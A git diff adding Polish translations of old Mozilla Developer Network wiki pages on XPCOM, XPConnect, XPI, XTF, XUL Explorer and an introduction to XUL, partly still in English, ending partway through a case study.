+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPCNativeWrapper", "es": "es/XPCNativeWrapper", "fr": "fr/XPCNativeWrapper", "it": "it/XPCNativeWrapper", "ja": "ja/XPCNativeWrapper" } ) }}
diff --git a/files/pl/xpcom/index.html b/files/pl/xpcom/index.html
new file mode 100644
index 0000000000..7b1dc7f128
--- /dev/null
+++ b/files/pl/xpcom/index.html
@@ -0,0 +1,101 @@
+---
+title: XPCOM
+slug: XPCOM
+tags:
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+ - XPCOM
+translation_of: Mozilla/Tech/XPCOM
+---
+<div class="warning">
+<p><strong>WebExtensions are becoming the new standard for creating add-ons. </strong>Eventually support for XPCOM add-ons will be deprecated, so you should begin to investigate porting your add-ons to use the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a> API, and <a href="https://mzl.la/webext-feature-needed">report any missing functionality</a> so we can be sure to address your concerns. Work is ongoing on WebExtension capabilities, so your input will help prioritize and plan the work. To learn more about the kinds of changes that will be needed, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparison with XUL/XPCOM extensions</a>. In addition, any binaries you use will then need to be converted for use with the WebExtensions <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">native messaging</a> API, or compiled using <a href="https://webassembly.github.io/">WebAssembly</a> or <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten</a>.</p>
+</div>
+
+<div class="callout-box"><strong>Wprowadzenie do XPCOM</strong>
+
+<p>Pięcio częściowy przewodnik <a class="external" href="http://www-128.ibm.com/developerworks/">IBM developerWorks</a>: <a class="external" href="http://www.ibm.com/developerworks/webservices/library/co-xpcom.html">Cz. I</a>, <a class="external" href="http://www.ibm.com/developerworks/webservices/library/co-xpcom2.html">Cz. II</a>, <a class="external" href="http://www.ibm.com/developerworks/webservices/library/co-xpcom3.html">Cz. III</a>, <a class="external" href="http://www.ibm.com/developerworks/webservices/library/co-xpcom4/">Cz. IV</a>, <a class="external" href="http://www.ibm.com/developerworks/webservices/library/co-xpcom5.html">Cz. V</a></p>
+</div>
+
+<div><strong>XPCOM</strong> jest międzyplatformowym komponentowo-obiektowym systemem, analogicznym do COM Microsoftu. Obsługuje liczne <a href="/pl/Oprawa_j%C4%99zyka" title="pl/Oprawa_języka">języki</a>, dzięki czemu komponenty XPCOM mogą być używane zarówno w JavaScript, Java jak i Python - także we współpracy z C++. Intefejsy XPCOM są zdefiniowane w dialekcie IDL zwanym <a href="/pl/XPIDL" title="pl/XPIDL">XPIDL</a>.
+
+<p>XPCOM dostarcza zestaw głównych komponentów i klas, dotyczących miedzy innymi zarządzania plikami i pamięcią, procesów, podstawowych typów danych (łańcuchy znaków, tablice), etc. Większość komponentów nie jest częścią tego zestawu - są one dostarczane poprzez inne elementy platformy (na przykład: <a href="/pl/Gecko" title="pl/Gecko">Gecko</a> or <a href="/pl/Necko" title="pl/Necko">Necko</a>), aplikacje lub nawet rozszerzenia.</p>
+</div>
+
+<p> </p>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h4 id="Dokumentacja" name="Dokumentacja"><a href="/Special:Tags?tag=XPCOM&amp;language=pl" title="Special:Tags?tag=XPCOM&amp;language=pl">Dokumentacja</a></h4>
+
+ <h5 id="Podstawowa_dokumentacja_XPCOM" name="Podstawowa_dokumentacja_XPCOM">Podstawowa dokumentacja XPCOM</h5>
+
+ <dl>
+ <dt><a href="/pl/XPCOM_API_Reference" title="pl/XPCOM_API_Reference">XPCOM API Reference</a></dt>
+ <dd><small>Dokumentacja głównych komponentów, interfejsów i funkcji dostarczanych przez XPCOM.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a href="/pl/XPCOM_string_guide" title="pl/XPCOM_string_guide">String</a>, <a href="/pl/XPCOM_hashtable_guide" title="pl/XPCOM_hashtable_guide">hashtable</a>, and <a href="/pl/XPCOM_array_guide" title="pl/XPCOM_array_guide">array</a> guides</dt>
+ <dd><small>Używanie podstawowych typów danych.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a href="/pl/XPCOM_Glue" title="pl/XPCOM_Glue">XPCOM Glue</a></dt>
+ <dd><small>XPCOM Glue umożliwia używanie funkcji i klas XPCOM bez zależności od niezamrożonych części. (xpcom_core.{dll,so,dylib}).</small></dd>
+ </dl>
+
+ <h5 id="Tworzenie_komponent.C3.B3w_XPCOM" name="Tworzenie_komponent.C3.B3w_XPCOM">Tworzenie komponentów XPCOM</h5>
+
+ <dl>
+ <dt><a href="/pl/Creating_XPCOM_Components" title="pl/Creating_XPCOM_Components">Creating XPCOM Components</a></dt>
+ <dd><small>Kurs omawiający tworzenie komponentów kontrolujących zachowanie przeglądarki.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a href="/pl/How_to_Build_an_XPCOM_Component_in_Javascript" title="pl/How_to_Build_an_XPCOM_Component_in_Javascript">How to Build an XPCOM Component in Javascript</a></dt>
+ <dd><small>Quick-start guide for writing JavaScript components</small></dd>
+ </dl>
+
+ <h5 id="R.C3.B3.C5.BCne" name="R.C3.B3.C5.BCne">Różne</h5>
+
+ <dl>
+ <dt><a href="/pl/Using_XPCOM_in_JavaScript_without_leaking" title="pl/Using_XPCOM_in_JavaScript_without_leaking">Using XPCOM in JavaScript without leaking</a></dt>
+ <dd><small>Using XPCOM in JavaScript (also known as <a href="/pl/XPConnect" title="pl/XPConnect">XPConnect</a>) is an environment where memory management issues are not obvious. Despite this, it's easy to write JavaScript code that leaks, because some of the objects you're dealing with are reference-counted behind the scenes.</small></dd>
+ </dl>
+
+ <p><span class="alllinks"><a href="/Special:Tags?tag=XPCOM&amp;language=pl" title="Special:Tags?tag=XPCOM&amp;language=pl">Pokaż wszystkie...</a></span></p>
+ </td>
+ <td>
+ <h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h4>
+
+ <ul>
+ <li>Obejrzyj fora Mozilli...</li>
+ </ul>
+
+ <p></p><ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xpcom"> jako listę dyskusyjna</a></li>
+
+
+ <li><a href="http://groups.google.com/group/mozilla.dev.tech.xpcom"> jako newsgroup</a></li>
+ <li><a href="http://groups.google.com/group/mozilla.dev.tech.xpcom/feeds"> jako kanał</a></li>
+</ul><p></p>
+
+ <h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h4>
+
+ <p><a class="external" href="http://ted.mielczarek.org/code/mozilla/jscomponentwiz/">JavaScript Component Wizard</a></p>
+
+ <h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h4>
+
+ <dl>
+ <dd><a href="/pl/XPCOM/Oprawa_j%C4%99zyka" title="pl/XPCOM/Oprawa_języka">Oprawa języka</a>, <a href="/pl/JavaXPCOM" title="pl/JavaXPCOM">JavaXPCOM</a>, <a href="/pl/XPConnect" title="pl/XPConnect">XPConnect</a>, <a href="/pl/PlXPCOM" title="pl/PlXPCOM">PlXPCOM</a>, <a href="/pl/PyXPCOM" title="pl/PyXPCOM">PyXPCOM</a>, <a href="/pl/RbXPCOM" title="pl/RbXPCOM">RbXPCOM</a>, <a href="/pl/JavaScript" title="pl/JavaScript">JavaScript</a></dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Categories</span></p>
+
+<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pl/xpcom_interface_reference/index.html b/files/pl/xpcom_interface_reference/index.html
new file mode 100644
index 0000000000..990297d172
--- /dev/null
+++ b/files/pl/xpcom_interface_reference/index.html
@@ -0,0 +1,18 @@
+---
+title: XPCOM Interface Reference
+slug: XPCOM_Interface_Reference
+tags:
+ - Junk
+ - NeedsTranslation
+ - TopicStub
+ - XPCOM
+ - XPCOM Interface Reference
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface
+---
+<p>This is a reference to the XPCOM interfaces provided by the Mozilla platform.</p>
+<div class="cols-3">
+ {{tree('','1')}}</div>
+<h2 id="See_also" name="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/XPCOM_Interface_Reference_group" title="XPCOM_Interface_Reference_group">Interfaces grouped by function</a></li>
+</ul>
diff --git a/files/pl/xpconnect/index.html b/files/pl/xpconnect/index.html
new file mode 100644
index 0000000000..324bd6a047
--- /dev/null
+++ b/files/pl/xpconnect/index.html
@@ -0,0 +1,60 @@
+---
+title: XPConnect
+slug: XPConnect
+tags:
+ - Wszystkie_kategorie
+ - XPConnect
+translation_of: Mozilla/Tech/XPCOM/Language_bindings/XPConnect
+---
+<p>
+</p>
+<div>
+<p>XPConnect jest pomostem między <a href="pl/JavaScript">JavaScript</a> i <a href="pl/XPCOM">XPCOM</a>. Za pomocą XPConnect możesz używać komponentów XPCOM w kodzie JavaScript oraz oddziaływać na obiekty JavaScript z poziomu komponentów XPCOM.
+</p>
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Dokumentacja" name="Dokumentacja"> <a>Dokumentacja</a> </h4>
+<dl><dt> <a href="pl/XPConnect/Podstawy_architektury">XPConnect:Podstawy architektury</a>
+</dt><dd> <small>XPConnect, JavaScript, XPCOM, XUL...</small>
+</dd></dl>
+<dl><dt> <a href="pl/XPConnect/U%c5%bcywanie_komponent%c3%b3w">XPConnect:Używanie komponentów</a>
+</dt><dd> <small>Jak używać komponentów XPCOM.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.mozilla.org/scriptable/faq.html">XPConnect i XPIDL FAQ</a>
+</dt></dl>
+<p><span class="alllinks"><a>Pokaż wszystkie...</a></span>
+</p>
+<h4 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h4>
+<dl><dt> <a href="pl/NsIEnumerator">nsIEnumerator</a>
+</dt><dd> <small>Skąd wiesz kiedy skończyłeś liczyć?</small>
+</dd></dl>
+<dl><dt> <a href="pl/XPConnect/nsIRegistry">XPConnect:nsIRegistry</a>
+</dt><dd> <small>Reprezentuje <a href="pl/Appreg">appreg</a>.</small>
+</dd></dl>
+<dl><dt> <a href="pl/XPConnect/nsIProfile">XPConnect:nsIProfile</a>
+</dt><dd> <small>Tworzenie, zmiana nazwy, usuwanie, wyświetlanie profili.</small>
+</dd></dl>
+<dl><dt> <a href="pl/XPConnect/appShellService">XPConnect:appShellService</a>
+</dt><dd> <small>Za jego pomocą możesz wyjść z Mozilli.</small>
+</dd></dl>
+<p><span class="alllinks"><a>Pokaż wszystkie...</a></span>
+</p>
+</td>
+<td>
+<h4 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87"> Społeczność </h4>
+<ul><li> Obejrzyj fora Mozilli...
+</li></ul>
+<p>{{ DiscussionList("dev-tech-xpcom", "mozilla.dev.tech.xpcom") }}
+</p>
+<h4 id="Narz.C4.99dzia" name="Narz.C4.99dzia"> Narzędzia </h4>
+<ul><li> <a href="pl/Xpcshell">xpcshell</a>
+</li></ul>
+<h4 id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy"> Powiązane tematy </h4>
+<dl><dd> <a href="pl/XPCOM">XPCOM</a>, <a href="pl/JavaScript">JavaScript</a>
+</dd></dl>
+</td></tr></tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/XPConnect", "fr": "fr/XPConnect", "ja": "ja/XPConnect", "ko": "ko/XPConnect" } ) }}
diff --git a/files/pl/xpconnect/podstawy_architektury/index.html b/files/pl/xpconnect/podstawy_architektury/index.html
new file mode 100644
index 0000000000..ba1244e8bc
--- /dev/null
+++ b/files/pl/xpconnect/podstawy_architektury/index.html
@@ -0,0 +1,12 @@
+---
+title: Podstawy architektury
+slug: XPConnect/Podstawy_architektury
+tags:
+ - Wszystkie_kategorie
+ - XPConnect
+translation_of: Mozilla/Tech/XPCOM/Language_bindings/XPConnect/Architecture_basics
+---
+<p><b>XPCOM</b> jest jak <a class="external" href="http://pl.wikipedia.org/wiki/Component_Object_Model">COM dla Windows</a>. Pozwala on uzyskać wskaźniki do komponentów wewnątrz Mozilli, umożliwiając również komunikację z ich interfejsem.
+</p><p><b>XPConnect</b> jest tym, co pozwala <a href="pl/JavaScript">JavaScriptowi</a> komunikować się z treścią Mozilli, systemem XPCOM. Możesz sobie to wyobrazić jako pomost między kodem JavaScript a wnętrzem Mozilli.
+</p><p><a href="pl/Xpcshell">xpcshell</a> jest interfejsem linii poleceń dla Mozilla JavaScript. Jest to interaktywny interpreter - daje Ci powłokę, która komunikuje się bezpośrednio z Mozillą poprzez wewnętrzny, JavaScriptowy most XPConnect.
+</p>{{ languages( { "en": "en/XPConnect/Architecture_basics" } ) }}
diff --git a/files/pl/xpi/index.html b/files/pl/xpi/index.html
new file mode 100644
index 0000000000..9afb1c927f
--- /dev/null
+++ b/files/pl/xpi/index.html
@@ -0,0 +1,22 @@
+---
+title: XPI
+slug: XPI
+tags:
+ - Toolkit API
+ - Wszystkie_kategorie
+ - XPInstall
+translation_of: Mozilla/XPI
+---
+<p>
+</p><p><b>Cross-Platform Installer Module (XPI)</b> (wymawia się "zippy") jest archiwum ZIP używanym do instalacji paczek wykorzystując technologie <a href="pl/XPInstall">XPInstall</a>. Moduły XPI (nazywane "<a href="pl/Paczki">paczkami</a>") wykorzystywane są w instalacji rożnego rodzaju oprogramowania, np. <a href="pl/Wtyczki">Wtyczki</a>, <a href="pl/Rozszerzenia">Rozszerzenia</a>, <a href="pl/Motywy">Motywy</a>, <a class="external" href="http://www.mozilla.com/thunderbird/dictionaries.html">Słowniki Thunderbirda</a>, etc.
+</p><p>XPI zawiera zarówno instrukcje instalacyjne (install.js lub <a href="pl/Manifesty_Instalacji">install.rdf</a>) jak i samo oprogramowanie instalacyjne spakowane jako pliki JAR. Po ściągnięciu lub przesunięciu go do menedżera rozszerzeń, XPInstall współdziała z instrukcjami instalacyjnymi zawartymi w XPI i instaluje dane oprogramowanie.
+</p><p>Gdy pliki XPI są obsługiwane za pomocą HTTP typ MIME <code>application/x-xpinstall</code> powinien zgadzać się z rozszerzeniem pliku <code>xpi</code>.
+</p>
+<h2 id="Zobacz_tak.C5.BCe"> Zobacz także </h2>
+<ul><li> <a href="pl/Paczki">Paczki</a>
+</li><li> <a href="pl/XPInstall">XPInstall</a>
+</li><li> <a href="pl/Tworzenie_modu%c5%82%c3%b3w_instalacyjnych_XPI">Tworzenie modułów instalacyjnych XPI</a>
+</li></ul>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPI", "fr": "fr/XPI", "ja": "ja/XPI" } ) }}
diff --git a/files/pl/xtf/index.html b/files/pl/xtf/index.html
new file mode 100644
index 0000000000..cd025632f2
--- /dev/null
+++ b/files/pl/xtf/index.html
@@ -0,0 +1,34 @@
+---
+title: XTF
+slug: XTF
+tags:
+ - Wszystkie_kategorie
+ - XTF
+translation_of: Mozilla/Tech/XTF
+---
+<p>
+<b>Rozszerzalny model znaczników</b> (eXtensible Tag Framework - XTF) pozwala na dodanie w Mozilli obsługi nowych przestrzeni nazw za pomocą komponentów <a href="pl/XPCOM">XPCOM</a> (napisanych w JavaScripcie lub C++). Przykładowo <a class="external" href="http://www.mozilla.org/projects/xforms/">projekt Mozilla XForms</a> używa XTF do dodania obsługi przestrzeni nazw <a href="pl/XForms">XForms</a>.
+</p>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Dokumentacja"> <a>Dokumentacja</a> </h4>
+<dl><dt> <a href="https://dxr.mozilla.org/mozilla-central/source/content/xtf/readme.txt" rel="custom">Przeczytaj o XTF</a>
+</dt><dd> <small>Przeczytaj o XTF.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.croczilla.com/xtf">Strona domowa XTF</a>
+</dt><dd> <small>Strona domowa XTF (przestarzała).</small>
+</dd></dl>
+<dl><dt> <a href="pl/Prezentacje_XTech_2005/Rozszerzanie_Gecko_przy_u%c5%bcyciu_XBL_i_XTF">Rozszerzanie Gecko przy użyciu XBL i XTF</a>
+</dt><dd> <small>Prezentacja przedstawiona na XTech 2005 porównująca XBL i XTF, jak również przedyskutowująca podstawy XTF.</small>
+</dd></dl>
+<p><span><a>Zobacz wszystkie</a></span>
+</p>
+</td>
+<td>
+<h4 id="Narzędzia"> Narzędzia </h4>
+<ul><li> <a href="pl/Inspektor_DOM">Inspektor DOM</a>
+</li></ul>
+<h4 id="Podobne_tematy"> Podobne tematy </h4>
+<dl><dd> <a href="pl/DOM">DOM</a>, <a href="pl/XBL">XBL</a>
+</dd></dl>
+</td></tr></tbody></table>
diff --git a/files/pl/xul_explorer/index.html b/files/pl/xul_explorer/index.html
new file mode 100644
index 0000000000..dec7c3871b
--- /dev/null
+++ b/files/pl/xul_explorer/index.html
@@ -0,0 +1,67 @@
+---
+title: XUL Explorer
+slug: XUL_Explorer
+tags:
+ - 'Rozszerzenia:Narzędzia'
+ - Strony_wymagające_dopracowania
+ - 'XUL:Narzędzia'
+translation_of: Archive/Mozilla/XUL_Explorer
+---
+<p>XUL Explorer jest aplikacją opartą na <a href="/pl/XULRunner" title="pl/XULRunner">XULRunner</a>, która dostarcza możliwości prostego eksperymentowania z językiem <a href="/pl/XUL" title="pl/XUL">XUL</a>. It’s a simple editor that can preview XUL inline or in a separate popup window. Posiada listę fragmentów kodu (małe fragmenty języka XUL lub JavaScript), które mogą być szybko wczytane do edytora. XUL może być wczytywany z i zapisywany do plików. Walidator XUL i <a href="/pl/Konsola_błędów" title="pl/Konsola_błędów">Konsola błędów</a> are both available to help debug problems. Menu Pomoc posiada dostęp do informacji na MDC. There is even simple "keyword" help lookup for XUL elements.</p>
+
+<h3 id="Mapa_drogowa" name="Mapa_drogowa">Mapa drogowa</h3>
+
+<p>Cechy:</p>
+
+<ul>
+ <li>The preview pane can be toggled with the editor. Previewing in a popup window is still available.</li>
+ <li>Option to automatically update the preview as the editor changes.</li>
+ <li>Indicator in the statusbar shows errors. Double-click to display Error Console.</li>
+ <li>Option to specify the snippet used to load the editor on startup.</li>
+ <li>Option to include a user snippet file. The snippets are merged with the built-in snippets at startup.</li>
+ <li>Double-click or drag-and-drop to insert a snippet</li>
+ <li>File &gt; New allows user to pick any "Template" snippet, as well as blank.</li>
+ <li>Simple XUL Checker can be used to ‘validate’ the XUL snippet. It checks for legal element and attribute names, including allowed attributes for a given element.</li>
+ <li>Support attribute value checking where appropriate (boolean and enumerated values) - XUL Checker</li>
+ <li>Support “best practice” checks such as: using of commands and keys, strings in DTDs and so on - XUL Checker</li>
+ <li>Multi-tabbed editor support</li>
+ <li>Support wizards to generate common projects - extensions</li>
+ <li>Support extension testing using Firefox extension Test mode</li>
+ <li>Obsługa <a href="/pl/Venkman" title="pl/Venkman">Venkman</a></li>
+ <li>Obsługa <a href="/pl/Inspektor_DOM" title="pl/Inspektor_DOM">Inspektora DOM</a></li>
+</ul>
+
+<p>W przyszłości:</p>
+
+<ul>
+ <li>Support more "best practice" checks such as: more A11y checks, strings in DTDs and so on - XUL Checker</li>
+ <li>Pozwolenie użytkownikom na dodawanie fragmentów kodu w locie</li>
+ <li>Dodawanie pasków bocznych dla uzyskania większej funkcjonalności - pasek boczny własności i projektów</li>
+ <li>Obsługa kreatorów do generowania powszechnych projektów - plików XUL, JS XPCOM, rozszerzeń i aplikacji XULRunner</li>
+ <li>Obsługa testowych rozszerzeń - być może by using Firefox extension Test mode</li>
+</ul>
+
+<p>Aby uzyskać więcej szczegółowych informacji, przejdź do {{ interwiki('wikimo', 'XUL_Explorer:Planning', 'przyszłych planów') }}.</p>
+
+<h3 id="Instalacje" name="Instalacje">Instalacje</h3>
+
+<p>Ostatnia wersja:</p>
+
+<pre class="eval">*Instalacja (Windows): <a class="external" href="http://starkravingfinkle.org/projects/xulexplorer/xulexplorer-0.7-win32.exe">xulexplorer-0.7-win32.exe</a> 5.3MB
+*Instalacja (Mac): <a class="external" href="http://starkravingfinkle.org/projects/xulexplorer/xulexplorer-0.7-mac.dmg">xulexplorer-0.7-mac.dmg</a> 18MB
+*Instalacja (Linux): <a class="external" href="http://starkravingfinkle.org/projects/xulexplorer/xulexplorer-0.7-linux.tar.gz">xulexplorer-0.7-linux.tar.gz</a> 9MB
+</pre>
+
+<h3 id="Contributing" name="Contributing">Contributing</h3>
+
+<ul>
+ <li><a class="external" href="http://svn.mozilla.org/projects/xul-explorer/">Source code in SVN</a></li>
+ <li>Bugzilla (for bugs and suggestions) <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&amp;product=Other+Applications&amp;component=XUL+Explorer&amp;resolution=---&amp;chfieldto=Now">open bugs</a>, <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Other%20Applications&amp;component=XUL%20Explorer">enter new bug</a></li>
+</ul>
+
+<h3 id="Blog" name="Blog">Blog</h3>
+
+<p><a class="external" href="http://starkravingfinkle.org/blog/2007/06/xul-explorer-04-finally/">XUL Explorer 0.4</a><br>
+ <a class="external" href="http://starkravingfinkle.org/blog/2007/02/xul-explorer-03/">XUL Explorer 0.3</a><br>
+ <a class="external" href="http://starkravingfinkle.org/blog/2006/12/xul-explorer-02/">XUL Explorer 0.2</a><br>
+ <a class="external" href="http://starkravingfinkle.org/blog/2006/12/exploring-xul/">Exploring XUL</a></p>
diff --git a/files/pl/zabawa_językiem_xul/index.html b/files/pl/zabawa_językiem_xul/index.html
new file mode 100644
index 0000000000..32d6d95195
--- /dev/null
+++ b/files/pl/zabawa_językiem_xul/index.html
@@ -0,0 +1,146 @@
+---
+title: Zabawa językiem XUL
+slug: Zabawa_językiem_XUL
+tags:
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+ - XUL
+translation_of: Archive/Mozilla/XUL/The_Joy_of_XUL
+---
+<p>Intended audience: Application developers and development managers who seek to better understand XUL and why the Mozilla platform is built with it.</p>
+
+<h3 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h3>
+
+<p><a href="/pl/XUL" title="pl/XUL">XUL</a> (wym. "zul"; ang. <em>XML-based User-interface Language</em>) jest opartym na XML-u językiem opisu interfejsu użytkownika autorstwa Mozilli, pozwalającym budować bogate aplikacje między platformowe, które mogą działać podłączone i odłączone od Internetu. Takie aplikacje można łatwo profilować ze zmodyfikowanym tekstem, grafikami i warstwą prezentacji, tak, aby łatwo było przygotować je i zlokalizować na konkretny rynek. Autorzy stron, którzy znają Dynamiczny HTML (<a href="../../../../../pl/DHTML" rel="internal">DHTML</a>) mogą szybko nauczyć się języka XUL i zacząć budować aplikacje praktycznie od zaraz.</p>
+
+<p>This document will describe the compelling reasons for application developers to leverage XUL and Mozilla technology for building cross-platform applications. This same investigation will provide sufficient explanation of Mozilla's motivation to build XUL and why the Mozilla platform is constructed using it. The key features and benefits of XUL will be explored followed by an examination of supporting Mozilla technologies. Finally, a mini case study of a Calendar application written in XUL will reinforce the benefits of building applications with Mozilla.</p>
+
+<h3 id="Key_Features_and_Benefits" name="Key_Features_and_Benefits">Key Features and Benefits</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td>Powerful widget-based markup language</td>
+ <td>The goal of XUL is to build cross platform applications, in contrast with DHTML which is intended for developing web pages. For this reason, XUL is oriented toward application artifacts such as windows, labels and buttons instead of pages, heading levels, and hypertext links.
+ <p>In fact, many developers invest a significant amount of effort to achieve these results in their DHTML web applications but at the cost of complexity and performance and without any supporting standards.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>Based on existing standards</td>
+ <td>XUL is an XML language based on W3C standard XML 1.0. Applications written in XUL are based on additional W3C standard technologies featuring HTML 4.0; Cascading Style Sheets (CSS) 1 and 2; Document Object Model (DOM) Levels 1 and 2; JavaScript 1.5, including ECMA-262 Edition 3 (ECMAscript); XML 1.0.
+ <p>mozilla.org is going a step further by seeking W3C standardization for the eXtensible Binding Language (XBL) (see "Supporting Technologies", below).</p>
+ </td>
+ </tr>
+ <tr>
+ <td>Platform portability</td>
+ <td>Like HTML, XUL is designed to be platform-neutral, making applications easily portable to all of the operating systems on which Mozilla runs. Considering the broad range of platforms that currently support Mozilla, this may be one of the most compelling features of XUL as a technology for building applications.
+ <p>Since XUL provides an abstraction of user interface components, it delivers on the promise of write-once, run-anywhere. The user interface for all of Mozilla's core applications (Browser, Messenger, Address Book, etc.) is written in XUL with one single code base supporting all Mozilla platforms.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>Separation of presentation from application logic</td>
+ <td>One of the major downfalls of most web applications is the tight coupling of user interface elements with client application logic. This poses a significant problem in team environments because the skills required to develop these two parts are often satisfied by different people.
+ <p>XUL provides a clear separation among the client application definition and programmatic logic ("content" consisting of XUL, XBL, and JavaScript), presentation ("skin" consisting of CSS and images), and language-specific text labels ("locale" consisting of DTDs and string bundles in .properties files). The layout and appearance of XUL applications can be altered independently of the application definition and logic. Further, the application can be localized for different languages and regions independently of its logic or presentation.</p>
+
+ <p>This degree of separation results in applications that are easier to maintain by programmers and readily customized by designers and language translators. The work flow of these interdependent activities is more easily coordinated than with HTML-based web applications, with less impact on the overall stability and quality of the system.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>Easy customization, localization, or branding</td>
+ <td>Another highly practical benefit of the separation that XUL provides among application logic, presentation, and language text is the ease of customizing for different customers or groups of users.
+ <p>A developer can maintain one primary code base for their application and customize the logo and branding for each of their customers by supplying different skins. An application that is written and deployed with an English language user interface can be translated to French for the same customer. While such changes are extensive and affect most (if not all) of the application, they are also isolated from one another enabling the core XUL definition and application logic to be shared among all of the custom versions.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Wspomagaj.C4.85ce_technologie" name="Wspomagaj.C4.85ce_technologie">Wspomagające technologie</h3>
+
+<p>There are number of other technologies introduced by Mozilla that complement XUL for building cross platform web applications.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><a href="/pl/XBL" title="pl/XBL">XBL</a></td>
+ <td>The eXtensible Bindings Language (XBL) is a markup language that defines special new elements, or "bindings" for XUL widgets. With XBL, developers can define new content for XUL widgets, add additional event handlers to a XUL widget, and add new interface properties and methods. Essentially, XBL empowers developers with the ability to extend XUL by customizing existing tags and creating new tags of their own.
+ <p>By using XBL, developers can easily build custom user interface widgets such as progress meters, fancy pop-up menus, and even toolbars and search forms. These custom components can then be used in XUL applications by specifying the custom tag and associated attributes.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="/pl/Nak%C5%82adki_XUL" title="pl/Nakładki_XUL">Nakładki XUL</a></td>
+ <td>Overlays are XUL files used to describe extra content for the UI. They are a general mechanism for adding UI for additional components, overriding small pieces of a XUL file without having to resupply the whole UI, and reusing particular pieces of the UI.
+ <p>Overlays are a powerful mechanism for customizing and extending existing applications because they work in two related but highly different ways. In one respect, Overlays are synonymous with "include" files in other languages because an application may specify that an Overlay be included in its definition. But Overlays can also be specified externally, enabling the designer to superimpose them upon an application without changing the original source.</p>
+
+ <p>In practical terms, this enables developers to maintain one code stream for a given application, then apply custom branding or include special features for customers with a completely independent code base. This leads to an overall solution that is easier and less costly to maintain in the long run.</p>
+
+ <p>There is an additional benefit to Overlays for software developers who intend to add features to Mozilla that they wish to keep proprietary. The Netscape Public License (NPL) and Mozilla Public License (MPL) require developers who alter original work (source code files that are provided with Mozilla) to release the source code for these changes to their customers. Overlays can be used to add features to Mozilla without contaminating the original open source code with proprietary alterations.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="/pl/XPCOM" title="pl/XPCOM">XPCOM</a>/<a href="/pl/XPConnect" title="pl/XPConnect">XPConnect</a></td>
+ <td>XPCOM and XPConnect are complementary technologies that enable the integration of external libraries with XUL applications.
+ <p>XPCOM, which stands for Cross Platform Component Object Model, is a framework for writing cross-platform, modular software. XPCOM components can be written in C, C++, and JavaScript, and they can be used from C, C++, JavaScript, <a href="/pl/Python" title="pl/Python">Python</a>, Java, and Perl.</p>
+
+ <p>XPConnect is a technology which enables simple interoperation between XPCOM and JavaScript. XPConnect allows JavaScript objects to transparently access and manipulate XPCOM objects. It also enables JavaScript objects to present XPCOM compliant interfaces to be called by XPCOM objects.</p>
+
+ <p>Together, XPCOM and XPConnect enable developers to create XUL applications that require the raw processing power of compiled languages (C/C++) or access to the underlying operating system.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="/pl/XPInstall" title="pl/XPInstall">XPInstall</a></td>
+ <td>XPInstall, Mozilla's Cross Platform Install facility, provides a standard way of packaging XUL application components with an install script that Mozilla can download and execute.
+ <p>XPInstall enables users to effortlessly install new XUL applications over the Internet or from corporate intranet servers. To install a new application the user need only click a hypertext link on a web page or in an email message and accept the new package through a Mozilla install dialog.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">todo: describe cool toolkit and xul runner features</span></p>
+
+<h3 id="Case_Study:_A_Mozilla_Calendar_Application" name="Case_Study:_A_Mozilla_Calendar_Application">Studium przypadku: Aplikacja Mozilla Calendar</h3>
+
+<p>To mini studium przypadku opisuje jak OEone Corporation (<a class="external" href="http://www.oeone.com" rel="freelink">http://www.oeone.com</a>) zintegrowało swoją aplikacje Kalendarza z rdzeniem produktu Mozilli. The Calendar application is comprised of a XUL front end and an XPCOM component that leverages libical, a native library written in C, for date operations and calendar data storage. The Calendar was initially developed exclusively for Linux but was successfully ported to both Macintosh and Windows within a week.</p>
+
